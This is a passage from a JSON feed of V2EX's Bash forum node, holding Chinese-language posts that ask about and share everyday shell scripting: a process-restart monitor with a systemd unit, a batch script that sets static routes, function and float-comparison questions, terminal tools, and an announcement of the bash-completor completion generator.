{
  "version": "https://jsonfeed.org/version/1", 
  "title": "Bash", 
  "description": "Bash is the shell, or command language interpreter, for the GNU operating system.", 
  "home_page_url": "https://www.v2ex.com/go/bash", 
  "feed_url": "https://www.v2ex.com/feed/bash.json", 
  "items": [
    {
      "author": {
        "url": "https://www.v2ex.com/member/wisefree", 
        "name": "wisefree", 
        "avatar": "https://cdn.v2ex.com/avatar/2e46/345f/56037_large.png?m=1731070896"
      }, 
      "url": "https://www.v2ex.com/t/1036524", 
      "title": "Linux bash \u811a\u672c\u76d1\u63a7\u548c\u91cd\u542f\u4e00\u4e2a\u5b88\u62a4\u8fdb\u7a0b", 
      "id": "https://www.v2ex.com/t/1036524", 
      "date_published": "2024-04-28T12:42:17+00:00", 
      "content_html": "<p>\u6700\u8fd1\u6709\u4e2a\u9700\u6c42\uff0c\u76d1\u63a7\u67d0\u4e2a\u5b88\u62a4\u8fdb\u7a0b\uff0c\u5982\u679c\u8fdb\u7a0b\u4e0d\u5b58\u5728\uff0c\u5219\u91cd\u542f\u8fd9\u4e2a\u8fdb\u7a0b\uff0c\u6253\u7b97\u5199\u4e00\u4e2a bash \u811a\u672c\u548c service \u670d\u52a1\u6ee1\u8db3\u8fd9\u4e2a\u9700\u6c42\u3002</p>\n<ol>\n<li>\u901a\u8fc7 systemctl start monitor_process.service, \u542f\u52a8\u76d1\u63a7</li>\n<li>\u901a\u8fc7 systemctl start monitor_process.service \uff0c\u505c\u6b62\u76d1\u63a7\uff0c\u540c\u65f6\u6740\u6b7b\u542f\u52a8\u7684\u8fdb\u7a0b\u3002</li>\n<li>\u8fd9\u4e2a\u670d\u52a1\u5fc5\u987b\u662f\u5728\u7cfb\u7edf\u6240\u6709\u670d\u52a1\u542f\u52a8\u4e4b\u540e\uff0c\u624d\u542f\u52a8\u8be5\u670d\u52a1</li>\n</ol>\n<p>\u770b\u5230\n<a href=\"https://stackoverflow.com/questions/696839/how-do-i-write-a-bash-script-to-restart-a-process-if-it-dies\" rel=\"nofollow\">stackoverflow</a>\u7684\u9ad8\u8d5e\u56de\u7b54\u540e\uff0c\u4e0d\u77e5\u9053\u8fd9\u6837\u5199\u7684\u811a\u672c\u662f\u4e0d\u662f\u5408\u9002\u7684\uff0c\u6709\u6ca1\u6709\u66f4\u52a0\u597d\u5b9e\u8df5\u3002</p>\n<p>\u6211\u5bf9 stackoverflow \u9ad8\u8d5e\u56de\u7b54\u8868\u793a\u6000\u7591\uff0c\u5176\u4e2d<code>jobs -p</code>\uff0c\u65e0\u6cd5\u5217\u51fa\u540e\u53f0\u7684\u5b88\u62a4\u8fdb\u7a0b\u3002\u56e0\u4e3a\u4e00\u822c\u7f16\u5199\u5b88\u62a4\u8fdb\u7a0b\u4ee3\u7801\u65f6\uff0c\u90fd\u662f fork \u4e24\u6b21\u5e76\u91cd\u65b0\u8bbe\u7f6e\u4f1a\u8bdd setsid</p>\n<pre><code class=\"language-bash\">trap 'kill $(jobs -p)' EXIT; until myserver &amp; wait\n</code></pre>\n<hr/>\n<p><a href=\"http://monitor_process.sh\" rel=\"nofollow\">monitor_process.sh</a></p>\n<pre><code class=\"language-bash\">\n#!/bin/bash\n\nthis_bash_pid=$$\nexe_name=\"thisIsExample\"\n\n# \u5b9a\u4e49\u4e00\u4e2a\u51fd\u6570\u6765\u6740\u6b7b\u8fdb\u7a0b\nkill_process() {\n  if [ -n \"${PID}\" ]; then\n    kill -9 ${PID}\n  fi\n  exit\n}\n\n# \u4f7f\u7528 trap \u547d\u4ee4\u6355\u83b7 TERM, INT \u548c EXIT \u4fe1\u53f7\ntrap 'kill_process' TERM INT EXIT\n\nwhile true\ndo\n  output=$(ps -ef | grep ${exe_name} | grep -v grep | grep -v ${this_bash_pid})\n\n  if [ $? -eq 0 ];then\n    PID=$(echo $output | awk '{print $2}')\n    echo \"${exe_name} :${PID} is running\"\n  else\n    ./${exe_name} &amp;\n\n    output=$(ps -ef | grep ${exe_name} | grep -v grep | grep -v ${this_bash_pid})\n    echo $output\n    PID=$(echo $output | awk '{print $2}')\n    echo $PID\n  fi\n  sleep 1\ndone\n\n</code></pre>\n<p>monitor_process.service</p>\n<pre><code class=\"language-bash\">\n[Unit]\nDescription=Monitor Process Service\nAfter=multi-user.target\n\n[Service]\nType=simple\nExecStart=/usr/local/bin/monitor_process.sh\nRestart=on-failure\nRestartSec=30\n\n[Install]\nWantedBy=multi-user.target\n</code></pre>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/canitnamechange", 
        "name": "canitnamechange", 
        "avatar": "https://cdn.v2ex.com/gravatar/0384123e5e2c8f75b5796058b8fc9a7b?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1003485", 
      "date_modified": "2023-12-26T05:28:11+00:00", 
      "content_html": "<p>\u539f\u56e0\uff1a\u60f3\u5199\u4e00\u4e2a\u6279\u91cf\u52a0\u9759\u6001\u8def\u7531\u7684 bat \u811a\u672c\uff0c\u9002\u7528\u4e8e\u4e0d\u540c\u7f51\u6bb5\u7684\u7ec8\u7aef\u5feb\u901f\u914d\u7f6e\u53cc\u7f51\u5361\u4e0a\u7f51\u3002</p>\n<p>\u8fc7\u7a0b\uff1a\u7531\u4e8e\u662f\u7b2c\u4e00\u6b21\u5199\uff0c\u4e5f\u4e0d\u77e5\u9053\u600e\u4e48\u5728\u7f51\u4e0a\u627e\u53ea\u80fd\u7528 gpt3.5 \u8270\u96be\u7684\u751f\u6210\u597d\u4e86\u6240\u6709\u529f\u80fd\uff0c\u4f46\u662f\u592a\u957f\u4e86\uff0c\u95ee\u4e86\u540c\u4e8b  \u53ef\u4ee5\u7528\u53d8\u91cf\u7f29\u77ed\uff0c\u53c8\u662f\u4e00\u4e2a\u4e0a\u5348\u8fc7\u53bb\u4e86 gpt \u88ab\u73a9\u574f\u4e86\u53d1\u4e00\u53e5\u62b1\u6b49\u4e00\u53e5\u7136\u540e\u778e\u626f\u3002</p>\n<p>route add -p \"A\" mask 255.255.255.0 \"B\"\n\u7ed3\u679c\uff1a\u76ee\u524d\u662f\u5220\u9664\u8def\u7531\u7684\u90a3\u6bb5\u811a\u672c\u597d\u4e86\uff0c\u6dfb\u52a0\u811a\u672c\u63d0\u793a\u4e00\u5806\u770b\u7740\u50cf\u4e0d\u5408\u89c4\u7684\u547d\u4ee4\u8f93\u51fa\uff0c\u8fd9\u6bb5\u8981\u5b9e\u73b0\u7684\u662f\u5728\"A\"\u53d8\u91cf \u7ec4\u91cc\u9762\u5faa\u73af\u4e00\u6b21,\"B\"\u91cc\u7684\u4e0b\u4e00\u8df3\u8def\u7531\u7528\u6237\u8f93\u5165\u7684\u5e8f\u53f7\u63d0\u4f9b\uff0c\u7531\u4e8e\u7528\u6237\u76f4\u63a5\u8f93\u5165\u7684\u662f\u7f51\u6bb5\u8fd8\u9700\u8981\u518d\u6539\u5199\u6210\u7f51\u5173      \u624d\u884c\uff0c\u4e0b\u9762\u662f\u4ee3\u7801\uff0c\u5e0c\u671b\u6709\u5927\u4f6c\u7ed9\u6307\u70b9\u4e0b\uff0c\u4e07\u5206\u611f\u8c22\uff1a</p>\n<pre><code>@echo off\nPUSHD %~DP0\nTITLE \u53cc\u7f51\u5361\u914d\u7f6e\u811a\u672c\nmode con cols=60 lines=32\ncolor 3e\n\n:menu\ncls\necho.\necho. \u8bf7\u9009\u62e9\u5185\u7f51\u7f51\u6bb5\necho ---------------------------\necho.\necho        0  10.10.6.0\necho        1  10.10.7.0\necho        2  10.10.8.0\necho        3  10.10.9.0\necho        4  10.10.10.0\necho        5  10.10.11.0\necho        6  10.10.12.0\necho        7  10.10.13.0\necho        8  10.10.14.0\necho        9  192.168.200.0\necho        10 192.168.22.0\necho        11 192.168.201.0\necho.\necho.\necho        q  \u9000\u51fa\necho.\necho        d  \u5220\u9664\u8def\u7531\u8868\necho.\necho ---------------------------\necho.\n\necho. \u8bf7\u8f93\u5165\u5e8f\u53f7\uff1a\nset /p ID=\n\nif \"%ID%\"==\"q\" (\n    goto :eof\n)\n\nif \"%ID%\"==\"d\" (\n    goto delete_routes\n)\n\nif %ID% LSS 0 (\n    goto menu\n)\n\nsetlocal enabledelayedexpansion\n\nset \"routes=10.10.6.0 10.10.7.0 10.10.8.0 10.10.9.0 10.10.10.0 10.10.11.0 10.10.12.0 10.10.13.0 10.10.14.0 192.168.200.0 192.168.22.0 192.168.201.0\"\nset \"gateways=10.10.6.1 10.10.7.1 10.10.8.1 10.10.9.1 10.10.10.1 10.10.11.1 10.10.12.1 10.10.13.1 10.10.14.1 192.168.200.1 192.168.22.1 192.168.201.1\"\n\nfor /L %%i in (0,1,11) do (\n    if \"!ID!\"==\"%%i\" (\n        set \"gw=!gateways%%i!\"\n        for %%a in (!routes!) do (\n            route add -p %%a mask 255.255.255.0 !gw!\n            echo \u5df2\u6dfb\u52a0\u8def\u7531\uff1a %%a !gw!\n        )\n    )\n)\n\n\necho. \u6dfb\u52a0\u5b8c\u6210\n\ntimeout /t 50 &gt;nul\ngoto menu\n\n:delete_routes\nset \"routes=10.10.6.0 10.10.7.0 10.10.8.0 10.10.9.0 10.10.10.0 10.10.11.0 10.10.12.0 10.10.13.0 10.10.14.0 192.168.200.0 192.168.22.0 192.168.201.0\"\n\nfor %%r in (%routes%) do (\n    route delete %%r\n    echo \u5df2\u5220\u9664\u8def\u7531\uff1a %%r\n)\n\ntimeout /t 1 &gt;nul\necho. \u5220\u9664\u5b8c\u6210\ngoto :menu\n</code></pre>\n", 
      "date_published": "2023-12-26T05:25:55+00:00", 
      "title": "\u6709\u4e2a\u811a\u672c\u4ee3\u7801\u7684\u95ee\u9898", 
      "id": "https://www.v2ex.com/t/1003485"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/JasonLaw", 
        "name": "JasonLaw", 
        "avatar": "https://cdn.v2ex.com/gravatar/4fdf59ece7cd78f432ec513634889579?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/997708", 
      "date_modified": "2023-12-06T00:10:47+00:00", 
      "content_html": "<p>Version 1:</p>\n<pre><code>getProfile() {\n\n  CURRENT_PATH=$(pwd)\n  oldIFS=\"$IFS\" # Save the old value of IFS\n  IFS=\"/\"       # Set IFS to the new delimiter\n\n  # Split the string into an array of substrings\n  read -ra array &lt;&lt;&lt;\"$CURRENT_PATH\"\n  IFS=oldIFS\n  PROFILE=${array[-2]}\n  echo \"${PROFILE}\"\n\n}\n</code></pre>\n<p>Version 2:</p>\n<pre><code>get_profile() {\n  script_dir=\"$(dirname \"$0\")\"\n  # https://stackoverflow.com/questions/71224944/how-to-get-the-name-of-the-grandparent-directory\n  profile=$(basename -- \"$(realpath -m -- \"$script_dir/..\")\")\n  echo \"${profile}\"\n}\n</code></pre>\n", 
      "date_published": "2023-12-05T03:00:55+00:00", 
      "title": "Bash Script \u4ee3\u7801\u6bd4\u8f83\uff0c\u4f60\u8ba4\u4e3a\u54ea\u4e2a\u66f4\u52a0\u5bb9\u6613\u7406\u89e3\uff1f", 
      "id": "https://www.v2ex.com/t/997708"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/ab", 
        "name": "ab", 
        "avatar": "https://cdn.v2ex.com/avatar/2cd8/7697/76017_large.png?m=1725000948"
      }, 
      "url": "https://www.v2ex.com/t/997491", 
      "date_modified": "2023-12-05T01:13:47+00:00", 
      "content_html": "kitty \u5982\u4f55\u914d\u7f6e\u8bb0\u5fc6\u7a97\u53e3\u4f4d\u7f6e\uff1f<br />mac \u4e0a\u6bcf\u6b21\u6253\u5f00\u65f6\uff0c\u7a97\u53e3\u90fd\u4e71\u8df3\uff0c\u5176\u4ed6\u65b9\u9762\u90fd\u5b8c\u7f8e\uff0c\u504f\u504f\u8fd9\u4e2a\u5c0f\u6bdb\u75c5\u641e\u5f97\u5feb\u5f03\u5751\u4e86\u3002", 
      "date_published": "2023-12-04T06:47:52+00:00", 
      "title": "\u6709\u4f7f\u7528 kitty \u5f53\u65e5\u5e38\u7ec8\u7aef\u7684\u8001\u54e5\u5417\uff1f", 
      "id": "https://www.v2ex.com/t/997491"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/bushnerd", 
        "name": "bushnerd", 
        "avatar": "https://cdn.v2ex.com/avatar/d3d7/613e/461725_large.png?m=1763911928"
      }, 
      "url": "https://www.v2ex.com/t/947224", 
      "title": "\u5728\u8f93\u5165\u547d\u4ee4\u65f6\uff0c\u81ea\u52a8\u8c03\u7528 fzf \u8fdb\u884c\u6a21\u7cca\u5339\u914d", 
      "id": "https://www.v2ex.com/t/947224", 
      "date_published": "2023-06-09T02:54:39+00:00", 
      "content_html": "\u6700\u8fd1\u5728\u7814\u7a76 Powershell \uff0c\u53d1\u73b0 powershell \u4e2d\u5b89\u88c5\u4e86 PSReadline \u540e\uff0c\u53ef\u4ee5\u5728\u8f93\u5165\u547d\u4ee4\u65f6\uff0c\u81ea\u52a8\u5339\u914d\u5386\u53f2\u547d\u4ee4\uff0c\u4f46\u662f\u53ea\u80fd\u987a\u5e8f\u5339\u914d\u3002<br /><br />\u800c fzf \u5728 bash \u4e2d\u53ef\u4ee5\u6a21\u7cca\u5339\u914d\uff0c\u4f46\u662f\u6bcf\u6b21\u5fc5\u987b\u8981\u5148\u6309\u4e0b Ctrl+r \u624d\u80fd\u8c03\u7528\uff0c\u6709\u6ca1\u6709\u529e\u6cd5\u8bbe\u7f6e\u4e3a\u9ed8\u8ba4\u542f\u7528\uff1f"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/OldCarMan", 
        "name": "OldCarMan", 
        "avatar": "https://cdn.v2ex.com/avatar/e0fc/18e3/304338_large.png?m=1682642434"
      }, 
      "url": "https://www.v2ex.com/t/924176", 
      "title": "\u4f7f\u7528 shell \u7684 bash -c \"functions\"\u65f6\uff0c\u662f\u4e0d\u662f\u6240\u6709\u76f8\u5173\u7684\u51fd\u6570\u90fd\u5f97\u58f0\u660e\u51fa\u6765\uff1f", 
      "id": "https://www.v2ex.com/t/924176", 
      "date_published": "2023-03-15T05:35:09+00:00", 
      "content_html": "<h4>rt,\u6700\u8fd1\u4f7f\u7528 bash call</h4>\n<pre><code class=\"language-shell\"> bash -c \"custom_functions\"\n</code></pre>\n<h4>\u7684\u65b9\u5f0f\u8c03\u7528\u81ea\u5b9a\u4e49 shell \u51fd\u6570\u65f6\uff0c\u53d1\u73b0\u603b\u4f1a\u62a5\u4e00\u4e2a</h4>\n<pre><code class=\"language-shell\"> custom_function:command not found \n</code></pre>\n<h4>\u7684\u9519\u8bef\uff1b\u7136\u540e\u641c\u4e86\u4e0b\uff0c\u6709\u4e09\u79cd\u65b9\u5f0f\u89e3\u51b3\uff1a</h4>\n<ul>\n<li>\u4f7f\u7528 <code>declare -fx</code> \u58f0\u660e</li>\n<li>\u4f7f\u7528 <code>export -fx</code> \u58f0\u660e</li>\n<li>\u4f7f\u7528 <code>typeset -xf</code> \u58f0\u660e</li>\n</ul>\n<h4>\u4f46\u8fd9\u51e0\u79cd\u65b9\u5f0f\uff0c\u51fd\u6570\u6808\u91cc\u5982\u679c\u6709\u591a\u4e2a\u81ea\u5b9a\u4e49\u51fd\u6570\uff0c\u90fd\u5f97\u5728\u4f7f\u7528\u624b\u52a8\u58f0\u660e\uff0c\u633a\u9ebb\u70e6\u7684\uff0c\u6240\u4ee5\u60f3\u8bf7\u95ee\u5404\u4f4d\u5927\u4f6c\u6709\u6ca1\u6709\u6bd4\u8f83\u4f18\u96c5\u7684\u65b9\u5f0f\u5728\u4e0d\u9700\u8981\u58f0\u660e\u591a\u4e2a\u81ea\u5b9a\u4e49\u51fd\u6570\u7684\u60c5\u51b5\u4e0b\u5b9e\u73b0\u81ea\u5b9a\u4e49\u51fd\u6570\u6808\u7684\u8c03\u7528\uff0c\u6216\u8005\u5982\u4f55\u907f\u514d\u51fa\u73b0\u8fd9\u79cd\u60c5\u51b5\uff1f\u8c22\u8c22\u56de\u590d\u3002</h4>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/OldCarMan", 
        "name": "OldCarMan", 
        "avatar": "https://cdn.v2ex.com/avatar/e0fc/18e3/304338_large.png?m=1682642434"
      }, 
      "url": "https://www.v2ex.com/t/923474", 
      "date_modified": "2023-03-13T01:21:05+00:00", 
      "content_html": "<h4>\u5e73\u65f6\u6bd4\u8f83\u5c11\u5199 shell \uff0c\u6700\u8fd1\u56e0\u4e3a\u9700\u8981\uff0c\u5199 shell \u65f6\uff0c\u53d1\u73b0 shell \u7684\u8bed\u6cd5\u771f\u7684\u8ba9\u4eba\u5934\u5927\uff0c\u6bd4\u5982\u7b80\u5355\u7684\u6bd4\u8f83\u4e24\u4e2a\u6d6e\u70b9\u6570\u5927\u5c0f\uff1a</h4>\n<ul>\n<li><a href=\"https://stackoverflow.com/questions/8654051/how-can-i-compare-two-floating-point-numbers-in-bash\" rel=\"nofollow\">\u65b9\u5f0f 1</a>\uff1a</li>\n</ul>\n<pre><code class=\"language-shell\">a=0.1\nb=0.01\nif (( $(echo \"$a &gt; $b\" |bc -l) )); then\n  ehco \"true\"\nelse\n  echo \"false\"\nfi\n</code></pre>\n<ul>\n<li><a href=\"https://developer.aliyun.com/article/953347\" rel=\"nofollow\">\u65b9\u5f0f 2</a></li>\n</ul>\n<pre><code class=\"language-shell\">a=0.1\nb=0.01\nif [ $(echo \"$a &gt; $b\"|bc) -eq 1 ];then\n    echo \"true\"\nelse\n    echo \"false\"\nfi\n</code></pre>\n<h6>\u90fd\u6709\u95ee\u9898(\u90fd\u8f93\u51fa false)\uff0c\u5e38\u7528\u7684&gt;,&lt;,gt,lt \u53c8\u6ca1\u529e\u6cd5\u76f4\u63a5\u6bd4\u8f83\u6d6e\u70b9\u6570\u5927\u5c0f\uff0c\u7b80\u76f4\u4e86\ud83d\ude02\u3002</h6>\n<h4>PS\uff1a\u53e6\u5916\u7528 vim \u5199 shell \u65f6\u7ecf\u5e38\u6027\u9047\u5230\u7a7a\u683c\u4e4b\u7c7b\u7684\u95ee\u9898\uff0c\u5927\u4f6c\u4eec\u5e73\u65f6\u662f\u4e0d\u662f\u7528 shell \u6bd4\u8f83\u5c11\uff0c\u662f\u7528 python \u6216 lua \u8f83\u591a\u5417\uff1f</h4>\n", 
      "date_published": "2023-03-13T01:19:17+00:00", 
      "title": "shell \u6bd4\u8f83\u6d6e\u70b9\u6570\u5927\u5c0f\u7684\u95ee\u9898\uff0c\u987a\u4fbf\u5410\u69fd\u4ee5\u4e0b shell", 
      "id": "https://www.v2ex.com/t/923474"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/adoyle", 
        "name": "adoyle", 
        "avatar": "https://cdn.v2ex.com/avatar/e6a7/5be3/27765_large.png?m=1682333375"
      }, 
      "url": "https://www.v2ex.com/t/917470", 
      "title": "bash-completor\uff1a\u58f0\u660e\u5f0f\u7f16\u5199 Bash \u8865\u5168\u811a\u672c", 
      "id": "https://www.v2ex.com/t/917470", 
      "date_published": "2023-02-19T23:19:47+00:00", 
      "content_html": "<p>\u7f16\u5199\u7b80\u5355\u7684 Bash \u8865\u5168\u811a\u672c\u4ec5\u9700\u4e00\u884c\u3002\u53ef\u5bf9\u4e8e\u62e5\u6709\u8bb8\u591a\u590d\u6742\u53c2\u6570\u7684\u547d\u4ee4\u6765\u8bf4\uff0c\u8fd9\u5c31\u4e0d\u591f\u7528\u4e86\u3002\u5f00\u53d1\u8005\u9700\u8981\u7f16\u5199<a href=\"https://www.gnu.org/software/bash/manual/html_node/A-Programmable-Completion-Example.html\" rel=\"nofollow\">\u53ef\u7f16\u7a0b\u8865\u5168</a>\u811a\u672c\u3002</p>\n<p>\u53ef\u662f\uff0c\u7f16\u5199\u590d\u6742\u7684\u53ef\u7f16\u7a0b\u8865\u5168\u811a\u672c\u5374\u662f\u4e00\u4ef6\u56f0\u96be\u7684\u4e8b\u3002Bash \u811a\u672c\u7684\u8bed\u6cd5\u5341\u5206\u81ea\u7531\uff08\u5bb9\u6613\u51fa\u9519\uff09\uff0c\u6559\u7a0b\u4e5f\u4e94\u82b1\u516b\u95e8\uff0c\u4f60\u53ef\u80fd\u9700\u8981\u8e29\u5f88\u591a\u5751\u3002\n\u5373\u4f7f\u6709 <a href=\"https://github.com/scop/bash-completion\" rel=\"nofollow\">scop/bash-completion</a> \u8fd9\u6837\u73b0\u6210\u7684\u8865\u5168\u811a\u672c\u5e93\uff0c\u53ef\u662f\u5b83\u53ea\u6536\u5f55\u5e38\u7528\u547d\u4ee4\u3002\u5bf9\u4e8e\u67d0\u4e9b\u793e\u533a\u4e0d\u5e38\u7528\u7684\u547d\u4ee4\uff0c\u8fd8\u662f\u5f97\u81ea\u5df1\u624b\u5199\u8865\u5168\u811a\u672c\u3002</p>\n<p>\u4e3a\u4e86\u51cf\u5c11\u5f00\u53d1\u8005\u63a5\u89e6 bash \u7684\u75db\u82e6\u65f6\u95f4\u3002\u6211\u521b\u9020\u4e86 <a href=\"https://github.com/adoyle-h/bash-completor\" rel=\"nofollow\">bash-completor</a>\u3002\nbash-completor \u662f\u4e00\u4e2a\u7528 bash \u811a\u672c\u7f16\u5199\u7684 Bash \u8865\u5168\u811a\u672c\u751f\u6210\u5668\u3002\u5e2e\u52a9 bash \u65b0\u624b\u5feb\u901f\u5730\u5b9e\u73b0 bash \u8865\u5168\u3002\n\u5b83\u7528\u58f0\u660e\u5f0f\u5199\u6cd5\u6765\u5b9e\u73b0\u903b\u8f91\u3002\u5b66\u4e60\u95e8\u69db\u975e\u5e38\u4f4e\u3002</p>\n<p>\u53ef\u80fd\u6709\u4eba\u4f1a\u60f3\uff0cbash \u5c31\u4e00\u80f6\u6c34\u8bed\u8a00\uff0c\u4e0d\u5e94\u8be5\u7528\u6765\u5199\u8fd9\u4e48\u590d\u6742\u7684\u529f\u80fd\u3002\u4e3a\u4f55\u4e0d\u7528 js \u3001go \u3001rust \u7b49\u9ad8\u7ea7\u7f16\u7a0b\u8bed\u8a00\u6765\u5b9e\u73b0\u8865\u5168\u903b\u8f91\uff1f\n\u5f53\u7136\u53ef\u4ee5\uff0c\u53ea\u4e0d\u8fc7\u8fd9\u4f1a\u5f15\u5165\u5f00\u53d1\u73af\u5883\u914d\u7f6e\uff0c\u4f9d\u8d56\u90e8\u7f72\u7b49\u95ee\u9898\u3002\n\u9700\u8981\u4f7f\u7528 bash \u8865\u5168\u529f\u80fd\u7684\u4eba\u4e00\u5b9a\u5b89\u88c5\u4e86 bash \u3002\u6240\u4ee5\u7528 Bash \u811a\u672c\u6765\u5199\uff0c\u4e0d\u5f15\u5165\u5176\u4ed6\u4f9d\u8d56\u3002\u7528\u6237\u5b89\u88c5\u4f7f\u7528\u5c31\u5f88\u7b80\u5355\u3002</p>\n<p>\u4e0b\u9762\u4ecb\u7ecd\u8fd9\u4e2a\u5de5\u5177\u3002</p>\n<h2>\u529f\u80fd</h2>\n<ul>\n<li>\u58f0\u660e\u5f0f\u7f16\u7a0b\u3002\u4f60\u53ea\u9700\u8981\u61c2\u6700\u57fa\u7840\u7684 bash \u8bed\u6cd5\u3002</li>\n<li>\u7f16\u8bd1\u65f6\u53ea\u4f9d\u8d56 bash \u548c sed \u3002\u8fd0\u884c\u65f6\u53ea\u4f9d\u8d56 bash \u3002\u65e0\u5176\u4ed6\u4f9d\u8d56\u3002</li>\n<li>\u652f\u6301\u547d\u4ee4\u683c\u5f0f\u5982 <code>&lt;cmd&gt; [options] [arguments]</code>\u3002</li>\n<li>\u652f\u6301\u5b50\u547d\u4ee4\u3002\u547d\u4ee4\u683c\u5f0f\u5982 <code>&lt;cmd&gt; [cmd-options] &lt;subcmd&gt; [subcmd-options] [arguments]</code>\u3002</li>\n<li>\u652f\u6301 <code>-o</code>, <code>--option</code>, <code>--option &lt;value&gt;</code>, <code>--option=</code>, <code>+o</code>, <code>+option</code> \u683c\u5f0f\u7684\u53c2\u6570\u3002</li>\n<li>\u652f\u6301\u8865\u5168\u6587\u4ef6\u6216\u76ee\u5f55\u8def\u5f84\u3002</li>\n<li>\u652f\u6301\u8865\u5168\u5355\u8bcd\u5217\u8868\u3002</li>\n<li>\u652f\u6301\u81ea\u5b9a\u4e49\u8865\u5168\u51fd\u6570\u3002</li>\n<li>\u53cb\u597d\u7684\u914d\u7f6e\u9879\u586b\u9519\u68c0\u67e5\u548c\u63d0\u793a\u3002</li>\n</ul>\n<h2>\u4f9d\u8d56</h2>\n<ul>\n<li>\n\u7f16\u8bd1\u8865\u5168\u811a\u672c\u65f6<ul>\n<li>Bash v4.3+</li>\n<li>cat, sed (\u517c\u5bb9 GNU \u548c BSD)</li>\n</ul>\n</li>\n<li>\n\u8fd0\u884c\u8865\u5168\u811a\u672c<ul>\n<li>Bash v4.0+</li>\n</ul>\n</li>\n</ul>\n<h2>\u5b89\u88c5</h2>\n<p>\u4f60\u53ef\u4ee5\u7528 curl \u6216\u8005 git \u5b89\u88c5\u5b83\u3002\u5177\u4f53\u8bf7\u770b\u9879\u76ee\u6587\u6863\uff0c\u8fd9\u91cc\u4e0d\u8d58\u8ff0\u3002</p>\n<h2>\u7528\u6cd5</h2>\n<p>\u4ee5\u521b\u5efa bash-completor \u81ea\u8eab\u7684\u8865\u5168\u811a\u672c\u4e3a\u4f8b\u3002</p>\n<p>\u9996\u5148\uff0c\u521b\u5efa\u914d\u7f6e\u6587\u4ef6 completor.bash \u3002\n\u914d\u7f6e\u6587\u4ef6\u4e5f\u662f\u7528 bash \u8bed\u6cd5\u5199\u7684\u3002\u4f60\u53ea\u9700\u8981\u61c2\u6700\u57fa\u7840\u7684 bash \u8bed\u6cd5\u5373\u53ef\u3002</p>\n<pre><code class=\"language-sh\">output=dist/bash-completor.completion.bash\nauthors=('ADoyle (adoyle.h@gmail.com)')\ncmd=bash-completor\ncmd_opts=(\n  -c:@files\n  -h --help\n  --version\n)\n</code></pre>\n<p>\u8fd9\u5c31\u662f\u914d\u7f6e\u7684\u5168\u90e8\u5185\u5bb9\u3002\u7136\u540e\u6267\u884c <code>bash-completor -c ./completor.bash</code> \u751f\u6210\u8865\u5168\u811a\u672c\u3002\u5b8c\u6210\u3002</p>\n<p>\u590d\u6742\u7684\u4f8b\u5b50\u4e5f\u53ef\u4ee5\u770b\u8fd9\u4e9b\u94fe\u63a5\uff1a</p>\n<ul>\n<li><a href=\"https://github.com/ziglang/shell-completions/blob/master/zig.completor.bash\" rel=\"nofollow\">zig.completor.bash</a></li>\n<li><a href=\"https://github.com/adoyle-h/nvim-shell-completions/blob/master/nvim.completor.bash\" rel=\"nofollow\">nvim-shell-completions/nvim.completor.bash</a></li>\n<li>\u5176\u4ed6\u4f8b\u5b50\u89c1 <a href=\"./example/\" rel=\"nofollow\">./example/</a></li>\n</ul>\n<p>\u66f4\u591a\u8bed\u6cd5\u89c1<a href=\"https://github.com/adoyle-h/bash-completor/blob/master/docs/syntax.md\" rel=\"nofollow\">\u8fd9\u4e2a\u94fe\u63a5</a>\u3002</p>\n<h2>\u8865\u5168\u811a\u672c</h2>\n<p>\u751f\u6210\u7684\u8865\u5168\u811a\u672c\u9075\u5faa\u4ee5\u4e0b\u4ee3\u7801\u98ce\u683c\u3002\u65e0\u9700\u62c5\u5fc3\u91cd\u540d\u95ee\u9898\u3002\u800c\u4e14\u8fd9\u4e5f\u4fbf\u4e8e\u5728\u8fd0\u884c\u65f6\u8c03\u8bd5\u3002</p>\n<ul>\n<li>\u4e3b\u547d\u4ee4\u7684\u8865\u5168\u51fd\u6570\u5fc5\u987b\u662f <code>_${cmd}_completions</code>\u3002</li>\n<li>\u6240\u6709\u5b50\u547d\u4ee4\u7684\u8865\u5168\u51fd\u6570\u5fc5\u987b\u4ee5 <code>_${cmd}_completions_${subcmd}</code> \u4e3a\u524d\u7f00\u547d\u540d\u3002</li>\n<li>\u5176\u4ed6\u6240\u6709\u7684\u53d8\u91cf\u548c\u51fd\u6570\u90fd\u5fc5\u987b\u4ee5 <code>_${cmd}_comp_</code> \u4e3a\u524d\u7f00\u547d\u540d\u3002</li>\n<li>\u4e3b\u547d\u4ee4\u7684\u9009\u9879\u5fc5\u987b\u662f <code>_${cmd}_comp_cmd_opts</code></li>\n<li>\u5b50\u547d\u4ee4\u7684\u9009\u9879\u5fc5\u987b\u4ee5 <code>_${cmd}_comp_subcmd_opts_${subcmd}</code> \u4e3a\u524d\u7f00\u547d\u540d\u3002</li>\n<li>\u6240\u6709 reply \u51fd\u6570\u5fc5\u987b\u4ee5 <code>_${cmd}_comp_reply_</code> \u4e3a\u524d\u7f00\u547d\u540d\u3002</li>\n<li>\u6240\u6709\u81ea\u5b9a\u4e49\u7684 reply \u51fd\u6570\u5fc5\u987b\u4ee5 <code>_${cmd}_comp_reply_custom_</code> \u4e3a\u524d\u7f00\u547d\u540d\u3002</li>\n</ul>\n<p>\u4ee5\u4e0a\u4ecb\u7ecd\u5b8c\u4e86\u3002\u5982\u679c\u4f60\u89c9\u5f97\u4e0d\u9519\uff0c\u53ef\u4ee5\u7ed9\u6587\u7ae0\u70b9\u7ed9\u8d5e\uff0c\u6216\u8005\u7ed9\u9879\u76ee\u70b9\u4e2a star \u3002</p>\n<p><a href=\"https://github.com/adoyle-h/bash-completor\" rel=\"nofollow\">https://github.com/adoyle-h/bash-completor</a></p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/huangsijun17", 
        "name": "huangsijun17", 
        "avatar": "https://cdn.v2ex.com/gravatar/6117a8589ba419d86b5dee7fb439a62a?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/916322", 
      "date_modified": "2023-02-15T06:21:57+00:00", 
